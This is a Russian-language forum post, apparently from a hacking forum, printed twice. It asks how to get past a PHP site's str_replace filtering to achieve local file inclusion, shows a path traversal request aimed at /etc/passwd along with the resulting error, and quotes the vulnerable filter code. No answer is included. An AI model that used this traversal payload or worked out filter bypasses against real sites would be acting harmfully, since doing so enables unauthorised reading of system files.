jangle
15.12.2011, 00:17
есть запрос
index.php?file=\..\..\..\..\..\..\..\..\etc\passwd
Выдает ответ
Template Execution Halted! Error: /etc/passwd.html (Template file does not exist)
А вот сама фильтрация в файле index.php
$file=str_replace("http://","",$file);
$file=str_replace("ftp://","",$file);
$file=str_replace("://","",$file);
$file=str_replace(chr(0),"",$file);
$file=str_replace("../","",$file);
$file=str_replace("./","",$file);
$file=str_replace("%","",$file);
if (strpos($file,".html") ===FALSE) {
$file.=".html";
}
Кроме того при обработке file фильтруется
$theValue = str_replace(";","",$theValue);
$theValue = str_replace("","",$theValue);
$theValue = htmlentities ($theValue);
Это как то можно обойти и заинклудить файл?
Мои благодарности!!!
index.php?file=\..\..\..\..\..\..\..\..\etc\passwd
Выдает ответ
Template Execution Halted! Error: /etc/passwd.html (Template file does not exist)
А вот сама фильтрация в файле index.php
$file=str_replace("http://","",$file);
$file=str_replace("ftp://","",$file);
$file=str_replace("://","",$file);
$file=str_replace(chr(0),"",$file);
$file=str_replace("../","",$file);
$file=str_replace("./","",$file);
$file=str_replace("%","",$file);
if (strpos($file,".html") ===FALSE) {
$file.=".html";
}
Кроме того при обработке file фильтруется
$theValue = str_replace(";","",$theValue);
$theValue = str_replace("","",$theValue);
$theValue = htmlentities ($theValue);
Это как то можно обойти и заинклудить файл?
Мои благодарности!!!